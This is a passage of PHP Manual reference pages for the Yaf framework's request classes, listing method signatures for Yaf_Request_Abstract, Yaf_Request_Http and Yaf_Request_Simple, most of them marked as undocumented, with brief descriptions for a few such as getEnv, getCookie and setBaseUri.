  • Yaf_Request_Abstract::getParams — The getParams purpose
  • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
  • Yaf_Request_Abstract::getServer — Retrieve SERVER variable
  • Yaf_Request_Abstract::isCli — The isCli purpose
  • Yaf_Request_Abstract::isDispatched — The isDispatched purpose
  • Yaf_Request_Abstract::isGet — The isGet purpose
  • Yaf_Request_Abstract::isHead — The isHead purpose
  • Yaf_Request_Abstract::isOptions — The isOptions purpose
  • Yaf_Request_Abstract::isPost — The isPost purpose
  • Yaf_Request_Abstract::isPut — The isPut purpose
  • Yaf_Request_Abstract::isRouted — The isRouted purpose
  • Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose
  • Yaf_Request_Abstract::setActionName — The setActionName purpose
  • Yaf_Request_Abstract::setBaseUri — set base URI
  • Yaf_Request_Abstract::setControllerName — The setControllerName purpose
  • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
  • Yaf_Request_Abstract::setModuleName — The setModuleName purpose
  • Yaf_Request_Abstract::setParam — The setParam purpose
  • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
  • Yaf_Request_Abstract::setRouted — The setRouted purpose

User Contributed Notes

There are no user contributed notes for this page.


The getActionName purpose

  • « Yaf_Request_Abstract
  • Yaf_Request_Abstract::getBaseUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getActionName purpose

Yaf_Request_Abstract::getActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getActionName — The getActionName purpose

Description

public void Yaf_Request_Abstract::getActionName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getBaseUri purpose

  • « Yaf_Request_Abstract::getActionName
  • Yaf_Request_Abstract::getControllerName »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getBaseUri purpose

Yaf_Request_Abstract::getBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose

Description

public void Yaf_Request_Abstract::getBaseUri ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getControllerName purpose

  • « Yaf_Request_Abstract::getBaseUri
  • Yaf_Request_Abstract::getEnv »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getControllerName purpose

Yaf_Request_Abstract::getControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getControllerName — The getControllerName purpose

Description

public void Yaf_Request_Abstract::getControllerName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve ENV varialbe

  • « Yaf_Request_Abstract::getControllerName
  • Yaf_Request_Abstract::getException »
  • PHP Manual
  • Yaf_Request_Abstract
  • Retrieve ENV varialbe

Yaf_Request_Abstract::getEnv

(Yaf >=1.0.0)

Yaf_Request_Abstract::getEnv — Retrieve ENV varialbe

Description

public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )

Retrieve ENV variable

Parameters

name

the variable name

default

if this parameter is provide, this will be returned if the varialbe can not be found

Return Values

See Also

  • Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::getParam

User Contributed Notes

There are no user contributed notes for this page.


The getException purpose

  • « Yaf_Request_Abstract::getEnv
  • Yaf_Request_Abstract::getLanguage »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getException purpose

Yaf_Request_Abstract::getException

(Yaf >=1.0.0)

Yaf_Request_Abstract::getException — The getException purpose

Description

public void Yaf_Request_Abstract::getException ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getLanguage purpose

  • « Yaf_Request_Abstract::getException
  • Yaf_Request_Abstract::getMethod »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getLanguage purpose

Yaf_Request_Abstract::getLanguage

(Yaf >=1.0.0)

Yaf_Request_Abstract::getLanguage — The getLanguage purpose

Description

public void Yaf_Request_Abstract::getLanguage ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getMethod purpose

  • « Yaf_Request_Abstract::getLanguage
  • Yaf_Request_Abstract::getModuleName »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getMethod purpose

Yaf_Request_Abstract::getMethod

(Yaf >=1.0.0)

Yaf_Request_Abstract::getMethod — The getMethod purpose

Description

public void Yaf_Request_Abstract::getMethod ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getModuleName purpose

  • « Yaf_Request_Abstract::getMethod
  • Yaf_Request_Abstract::getParam »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getModuleName purpose

Yaf_Request_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getModuleName — The getModuleName purpose

Description

public void Yaf_Request_Abstract::getModuleName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getParam purpose

  • « Yaf_Request_Abstract::getModuleName
  • Yaf_Request_Abstract::getParams »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getParam purpose

Yaf_Request_Abstract::getParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParam — The getParam purpose

Description

public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

default

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getParams purpose

  • « Yaf_Request_Abstract::getParam
  • Yaf_Request_Abstract::getRequestUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getParams purpose

Yaf_Request_Abstract::getParams

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParams — The getParams purpose

Description

public void Yaf_Request_Abstract::getParams ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getRequestUri purpose

  • « Yaf_Request_Abstract::getParams
  • Yaf_Request_Abstract::getServer »
  • PHP Manual
  • Yaf_Request_Abstract
  • The getRequestUri purpose

Yaf_Request_Abstract::getRequestUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose

Description

public void Yaf_Request_Abstract::getRequestUri ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve SERVER variable

  • « Yaf_Request_Abstract::getRequestUri
  • Yaf_Request_Abstract::isCli »
  • PHP Manual
  • Yaf_Request_Abstract
  • Retrieve SERVER variable

Yaf_Request_Abstract::getServer

(Yaf >=1.0.0)

Yaf_Request_Abstract::getServer — Retrieve SERVER variable

Description

public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )

Retrieve SERVER variable

Parameters

name

the variable name

default

if this parameter is provide, this will be returned if the variable can not be found

Return Values

See Also

  • Yaf_Request_Abstract::getParam
  • Yaf_Request_Abstract::getEnv

User Contributed Notes

There are no user contributed notes for this page.


The isCli purpose

  • « Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::isDispatched »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isCli purpose

Yaf_Request_Abstract::isCli

(Yaf >=1.0.0)

Yaf_Request_Abstract::isCli — The isCli purpose

Description

public void Yaf_Request_Abstract::isCli ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isDispatched purpose

  • « Yaf_Request_Abstract::isCli
  • Yaf_Request_Abstract::isGet »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isDispatched purpose

Yaf_Request_Abstract::isDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::isDispatched — The isDispatched purpose

Description

public void Yaf_Request_Abstract::isDispatched ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isGet purpose

  • « Yaf_Request_Abstract::isDispatched
  • Yaf_Request_Abstract::isHead »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isGet purpose

Yaf_Request_Abstract::isGet

(Yaf >=1.0.0)

Yaf_Request_Abstract::isGet — The isGet purpose

Description

public void Yaf_Request_Abstract::isGet ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isHead purpose

  • « Yaf_Request_Abstract::isGet
  • Yaf_Request_Abstract::isOptions »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isHead purpose

Yaf_Request_Abstract::isHead

(Yaf >=1.0.0)

Yaf_Request_Abstract::isHead — The isHead purpose

Description

public void Yaf_Request_Abstract::isHead ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isOptions purpose

  • « Yaf_Request_Abstract::isHead
  • Yaf_Request_Abstract::isPost »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isOptions purpose

Yaf_Request_Abstract::isOptions

(Yaf >=1.0.0)

Yaf_Request_Abstract::isOptions — The isOptions purpose

Description

public void Yaf_Request_Abstract::isOptions ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isPost purpose

  • « Yaf_Request_Abstract::isOptions
  • Yaf_Request_Abstract::isPut »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isPost purpose

Yaf_Request_Abstract::isPost

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPost — The isPost purpose

Description

public void Yaf_Request_Abstract::isPost ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isPut purpose

  • « Yaf_Request_Abstract::isPost
  • Yaf_Request_Abstract::isRouted »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isPut purpose

Yaf_Request_Abstract::isPut

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPut — The isPut purpose

Description

public void Yaf_Request_Abstract::isPut ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isRouted purpose

  • « Yaf_Request_Abstract::isPut
  • Yaf_Request_Abstract::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isRouted purpose

Yaf_Request_Abstract::isRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::isRouted — The isRouted purpose

Description

public void Yaf_Request_Abstract::isRouted ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isXmlHttpRequest purpose

  • « Yaf_Request_Abstract::isRouted
  • Yaf_Request_Abstract::setActionName »
  • PHP Manual
  • Yaf_Request_Abstract
  • The isXmlHttpRequest purpose

Yaf_Request_Abstract::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose

Description

public void Yaf_Request_Abstract::isXmlHttpRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

oreaking at gmail dot com 25-Sep-2014 11:16
That means the request method is ajax or not .


The setActionName purpose

  • « Yaf_Request_Abstract::isXmlHttpRequest
  • Yaf_Request_Abstract::setBaseUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setActionName purpose

Yaf_Request_Abstract::setActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setActionName — The setActionName purpose

Description

public void Yaf_Request_Abstract::setActionName ( string $action )

Warning

This function is currently not documented; only its argument list is available.

Parameters

action

Return Values

User Contributed Notes

There are no user contributed notes for this page.


set base URI

  • « Yaf_Request_Abstract::setActionName
  • Yaf_Request_Abstract::setControllerName »
  • PHP Manual
  • Yaf_Request_Abstract
  • set base URI

Yaf_Request_Abstract::setBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::setBaseUri — set base URI

Description

public bool Yaf_Request_Abstract::setBaseUri ( string $uir )

Set base URI, base URI is used when doing routing, in routing phase request URI is used to route a request, while base URI is used to skip the leadding part(base URI) of request URI. That is, if comes a request with request URI a/b/c, then if you set base URI to "a/b", only "/c" will be used in routing phase.

Note:

generally, you don't need to set this, Yaf will determine it automatically.

Parameters

uir

base URI

Return Values

bool

User Contributed Notes

There are no user contributed notes for this page.


The setControllerName purpose

  • « Yaf_Request_Abstract::setBaseUri
  • Yaf_Request_Abstract::setDispatched »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setControllerName purpose

Yaf_Request_Abstract::setControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setControllerName — The setControllerName purpose

Description

public void Yaf_Request_Abstract::setControllerName ( string $controller )

Warning

This function is currently not documented; only its argument list is available.

Parameters

controller

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setDispatched purpose

  • « Yaf_Request_Abstract::setControllerName
  • Yaf_Request_Abstract::setModuleName »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setDispatched purpose

Yaf_Request_Abstract::setDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::setDispatched — The setDispatched purpose

Description

public void Yaf_Request_Abstract::setDispatched ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setModuleName purpose

  • « Yaf_Request_Abstract::setDispatched
  • Yaf_Request_Abstract::setParam »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setModuleName purpose

Yaf_Request_Abstract::setModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setModuleName — The setModuleName purpose

Description

public void Yaf_Request_Abstract::setModuleName ( string $module )

Warning

This function is currently not documented; only its argument list is available.

Parameters

module

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setParam purpose

  • « Yaf_Request_Abstract::setModuleName
  • Yaf_Request_Abstract::setRequestUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setParam purpose

Yaf_Request_Abstract::setParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::setParam — The setParam purpose

Description

public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setRequestUri purpose

  • « Yaf_Request_Abstract::setParam
  • Yaf_Request_Abstract::setRouted »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRequestUri purpose

Yaf_Request_Abstract::setRequestUri

(Yaf >=2.1.0)

Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose

Description

public void Yaf_Request_Abstract::setRequestUri ( string $uir )

Warning

This function is currently not documented; only its argument list is available.

Parameters

uir

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setRouted purpose

  • « Yaf_Request_Abstract::setRequestUri
  • Yaf_Request_Http »
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRouted purpose

Yaf_Request_Abstract::setRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::setRouted — The setRouted purpose

Description

public void Yaf_Request_Abstract::setRouted ([ string $flag ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Request_Http class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Request_Http extends Yaf_Request_Abstract {
/* Properties */
/* Methods */
private void __clone ( void )
__construct ( void )
public mixed get ( string $name [, string $default ] )
public mixed getCookie ( string $name [, string $default ] )
public void getFiles ( void )
public mixed getPost ( string $name [, string $default ] )
public mixed getQuery ( string $name [, string $default ] )
public void getRequest ( void )
public bool isXmlHttpRequest ( void )
/* Inherited methods */
public void Yaf_Request_Abstract::getActionName ( void )
public void Yaf_Request_Abstract::getBaseUri ( void )
public void Yaf_Request_Abstract::getControllerName ( void )
public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getException ( void )
public void Yaf_Request_Abstract::getLanguage ( void )
public void Yaf_Request_Abstract::getMethod ( void )
public void Yaf_Request_Abstract::getModuleName ( void )
public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getParams ( void )
public void Yaf_Request_Abstract::getRequestUri ( void )
public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )
public void Yaf_Request_Abstract::isCli ( void )
public void Yaf_Request_Abstract::isDispatched ( void )
public void Yaf_Request_Abstract::isGet ( void )
public void Yaf_Request_Abstract::isHead ( void )
public void Yaf_Request_Abstract::isOptions ( void )
public void Yaf_Request_Abstract::isPost ( void )
public void Yaf_Request_Abstract::isPut ( void )
public void Yaf_Request_Abstract::isRouted ( void )
public void Yaf_Request_Abstract::isXmlHttpRequest ( void )
public void Yaf_Request_Abstract::setActionName ( string $action )
public bool Yaf_Request_Abstract::setBaseUri ( string $uir )
public void Yaf_Request_Abstract::setControllerName ( string $controller )
public void Yaf_Request_Abstract::setDispatched ( void )
public void Yaf_Request_Abstract::setModuleName ( string $module )
public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )
public void Yaf_Request_Abstract::setRequestUri ( string $uir )
public void Yaf_Request_Abstract::setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Table of Contents

  • Yaf_Request_Http::__clone — The __clone purpose
  • Yaf_Request_Http::__construct — The __construct purpose
  • Yaf_Request_Http::get — Retrieve variable from client
  • Yaf_Request_Http::getCookie — Retrieve Cookie varialbe
  • Yaf_Request_Http::getFiles — The getFiles purpose
  • Yaf_Request_Http::getPost — Retrieve POST variable
  • Yaf_Request_Http::getQuery — Fetch a query parameter
  • Yaf_Request_Http::getRequest — The getRequest purpose
  • Yaf_Request_Http::isXmlHttpRequest — Whether a Ajax Request

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Request_Http
  • Yaf_Request_Http::__construct »
  • PHP Manual
  • Yaf_Request_Http
  • The __clone purpose

Yaf_Request_Http::__clone

(Yaf >=1.0.0)

Yaf_Request_Http::__clone — The __clone purpose

Description

private void Yaf_Request_Http::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Request_Http::__clone
  • Yaf_Request_Http::get »
  • PHP Manual
  • Yaf_Request_Http
  • The __construct purpose

Yaf_Request_Http::__construct

(Yaf >=1.0.0)

Yaf_Request_Http::__construct — The __construct purpose

Description

Yaf_Request_Http::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve variable from client

  • « Yaf_Request_Http::__construct
  • Yaf_Request_Http::getCookie »
  • PHP Manual
  • Yaf_Request_Http
  • Retrieve variable from client

Yaf_Request_Http::get

(Yaf >=1.0.0)

Yaf_Request_Http::get — Retrieve variable from client

Description

public mixed Yaf_Request_Http::get ( string $name [, string $default ] )

Retrieve variable from client, this method will search the name in request pramas, if the name is not found, then will search in POST, GET, Cookie, Server

Parameters

name

the variable name

default

if this parameter is provide, this will be returned if the varialbe can not be found

Return Values

See Also

  • Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getPost
  • Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getServer
  • Yaf_Request_Http::getParam

User Contributed Notes

There are no user contributed notes for this page.


Retrieve Cookie varialbe

  • « Yaf_Request_Http::get
  • Yaf_Request_Http::getFiles »
  • PHP Manual
  • Yaf_Request_Http
  • Retrieve Cookie varialbe

Yaf_Request_Http::getCookie

(Yaf >=1.0.0)

Yaf_Request_Http::getCookie — Retrieve Cookie varialbe

Description

public mixed Yaf_Request_Http::getCookie ( string $name [, string $default ] )

Retrieve Cookie variable

Parameters

name

the cookie name

default

if this parameter is provide, this will be returned if the cookie can not be found

Return Values

See Also

  • Yaf_Request_Http::get
  • Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getPost
  • Yaf_Request_Http::getServer
  • Yaf_Request_Http::getParam

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • « Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getPost »
  • PHP Manual
  • Yaf_Request_Http
  • The getFiles purpose

Yaf_Request_Http::getFiles

(Yaf >=1.0.0)

Yaf_Request_Http::getFiles — The getFiles purpose

Description

public void Yaf_Request_Http::getFiles ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve POST variable

  • « Yaf_Request_Http::getFiles
  • Yaf_Request_Http::getQuery »
  • PHP Manual
  • Yaf_Request_Http
  • Retrieve POST variable

Yaf_Request_Http::getPost

(Yaf >=1.0.0)

Yaf_Request_Http::getPost — Retrieve POST variable

Description

public mixed Yaf_Request_Http::getPost ( string $name [, string $default ] )

Retrieve POST variable

Parameters

name

the variable name

default

if this parameter is provide, this will be returned if the varialbe can not be found

Return Values

See Also

  • Yaf_Request_Http::get
  • Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getServer
  • Yaf_Request_Http::getParam

User Contributed Notes

There are no user contributed notes for this page.


Fetch a query parameter

  • « Yaf_Request_Http::getPost
  • Yaf_Request_Http::getRequest »
  • PHP Manual
  • Yaf_Request_Http
  • Fetch a query parameter

Yaf_Request_Http::getQuery

(Yaf >=1.0.0)

Yaf_Request_Http::getQuery — Fetch a query parameter

Description

public mixed Yaf_Request_Http::getQuery ( string $name [, string $default ] )

Retrieve GET variable

Parameters

name

the variable name

default

if this parameter is provide, this will be returned if the variable can not be found

Return Values

See Also

  • Yaf_Request_Http::get
  • Yaf_Request_Http::getPost
  • Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getServer
  • Yaf_Request_Http::getParam

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • « Yaf_Request_Http::getQuery
  • Yaf_Request_Http::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Http
  • The getRequest purpose

Yaf_Request_Http::getRequest

(Yaf >=1.0.0)

Yaf_Request_Http::getRequest — The getRequest purpose

Description

public void Yaf_Request_Http::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Whether a Ajax Request

  • « Yaf_Request_Http::getRequest
  • Yaf_Request_Simple »
  • PHP Manual
  • Yaf_Request_Http
  • Whether a Ajax Request

Yaf_Request_Http::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Http::isXmlHttpRequest — Whether a Ajax Request

Description

public bool Yaf_Request_Http::isXmlHttpRequest ( void )

Check the request whether it is a Ajax Request.

Note:

This method depends on the request header: HTTP_X_REQUESTED_WITH, some Javascript library doesn't set this header while doing Ajax request

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Request_Simple class

(Yaf >=1.0.0)

Introduction

Yaf_Request_Simple is particularlly used for test puporse. ie. simulate some espacial request under CLI mode.

Class synopsis

Yaf_Request_Simple extends Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* Properties */
/* Methods */
private void __clone ( void )
__construct ( void )
public void get ( void )
public void getCookie ( void )
public void getFiles ( void )
public void getPost ( void )
public void getQuery ( void )
public void getRequest ( void )
public void isXmlHttpRequest ( void )
/* Inherited methods */
public void Yaf_Request_Abstract::getActionName ( void )
public void Yaf_Request_Abstract::getBaseUri ( void )
public void Yaf_Request_Abstract::getControllerName ( void )
public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getException ( void )
public void Yaf_Request_Abstract::getLanguage ( void )
public void Yaf_Request_Abstract::getMethod ( void )
public void Yaf_Request_Abstract::getModuleName ( void )
public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getParams ( void )
public void Yaf_Request_Abstract::getRequestUri ( void )
public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )
public void Yaf_Request_Abstract::isCli ( void )
public void Yaf_Request_Abstract::isDispatched ( void )
public void Yaf_Request_Abstract::isGet ( void )
public void Yaf_Request_Abstract::isHead ( void )
public void Yaf_Request_Abstract::isOptions ( void )
public void Yaf_Request_Abstract::isPost ( void )
public void Yaf_Request_Abstract::isPut ( void )
public void Yaf_Request_Abstract::isRouted ( void )
public void Yaf_Request_Abstract::isXmlHttpRequest ( void )
public void Yaf_Request_Abstract::setActionName ( string $action )
public bool Yaf_Request_Abstract::setBaseUri ( string $uir )
public void Yaf_Request_Abstract::setControllerName ( string $controller )
public void Yaf_Request_Abstract::setDispatched ( void )
public void Yaf_Request_Abstract::setModuleName ( string $module )
public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )
public void Yaf_Request_Abstract::setRequestUri ( string $uir )
public void Yaf_Request_Abstract::setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Predefined Constants

Yaf_Request_Simple::SCHEME_HTTP

Yaf_Request_Simple::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Simple::__clone — The __clone purpose
  • Yaf_Request_Simple::__construct — The __construct purpose
  • Yaf_Request_Simple::get — The get purpose
  • Yaf_Request_Simple::getCookie — The getCookie purpose
  • Yaf_Request_Simple::getFiles — The getFiles purpose
  • Yaf_Request_Simple::getPost — The getPost purpose
  • Yaf_Request_Simple::getQuery — The getQuery purpose
  • Yaf_Request_Simple::getRequest — The getRequest purpose
  • Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Request_Simple
  • Yaf_Request_Simple::__construct »
  • PHP Manual
  • Yaf_Request_Simple
  • The __clone purpose

Yaf_Request_Simple::__clone

(Yaf >=1.0.0)

Yaf_Request_Simple::__clone — The __clone purpose

Description

private void Yaf_Request_Simple::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Request_Simple::__clone
  • Yaf_Request_Simple::get »
  • PHP Manual
  • Yaf_Request_Simple
  • The __construct purpose

Yaf_Request_Simple::__construct

(Yaf >=1.0.0)

Yaf_Request_Simple::__construct — The __construct purpose

Description

Yaf_Request_Simple::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The get purpose

  • « Yaf_Request_Simple::__construct
  • Yaf_Request_Simple::getCookie »
  • PHP Manual
  • Yaf_Request_Simple
  • The get purpose

Yaf_Request_Simple::get

(Yaf >=1.0.0)

Yaf_Request_Simple::get — The get purpose

Description

public void Yaf_Request_Simple::get ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getCookie purpose

  • « Yaf_Request_Simple::get
  • Yaf_Request_Simple::getFiles »
  • PHP Manual
  • Yaf_Request_Simple
  • The getCookie purpose

Yaf_Request_Simple::getCookie

(Yaf >=1.0.0)

Yaf_Request_Simple::getCookie — The getCookie purpose

Description

public void Yaf_Request_Simple::getCookie ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • « Yaf_Request_Simple::getCookie
  • Yaf_Request_Simple::getPost »
  • PHP Manual
  • Yaf_Request_Simple
  • The getFiles purpose

Yaf_Request_Simple::getFiles

(Yaf >=1.0.0)

Yaf_Request_Simple::getFiles — The getFiles purpose

Description

public void Yaf_Request_Simple::getFiles ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getPost purpose

  • « Yaf_Request_Simple::getFiles
  • Yaf_Request_Simple::getQuery »
  • PHP Manual
  • Yaf_Request_Simple
  • The getPost purpose

Yaf_Request_Simple::getPost

(Yaf >=1.0.0)

Yaf_Request_Simple::getPost — The getPost purpose

Description

public void Yaf_Request_Simple::getPost ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getQuery purpose

  • « Yaf_Request_Simple::getPost
  • Yaf_Request_Simple::getRequest »
  • PHP Manual
  • Yaf_Request_Simple
  • The getQuery purpose

Yaf_Request_Simple::getQuery

(Yaf >=1.0.0)

Yaf_Request_Simple::getQuery — The getQuery purpose

Description

public void Yaf_Request_Simple::getQuery ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • « Yaf_Request_Simple::getQuery
  • Yaf_Request_Simple::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Simple
  • The getRequest purpose

Yaf_Request_Simple::getRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::getRequest — The getRequest purpose

Description

public void Yaf_Request_Simple::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isXmlHttpRequest purpose

  • « Yaf_Request_Simple::getRequest
  • Yaf_Response_Abstract »
  • PHP Manual
  • Yaf_Request_Simple
  • The isXmlHttpRequest purpose

Yaf_Request_Simple::isXmlHttpRequest

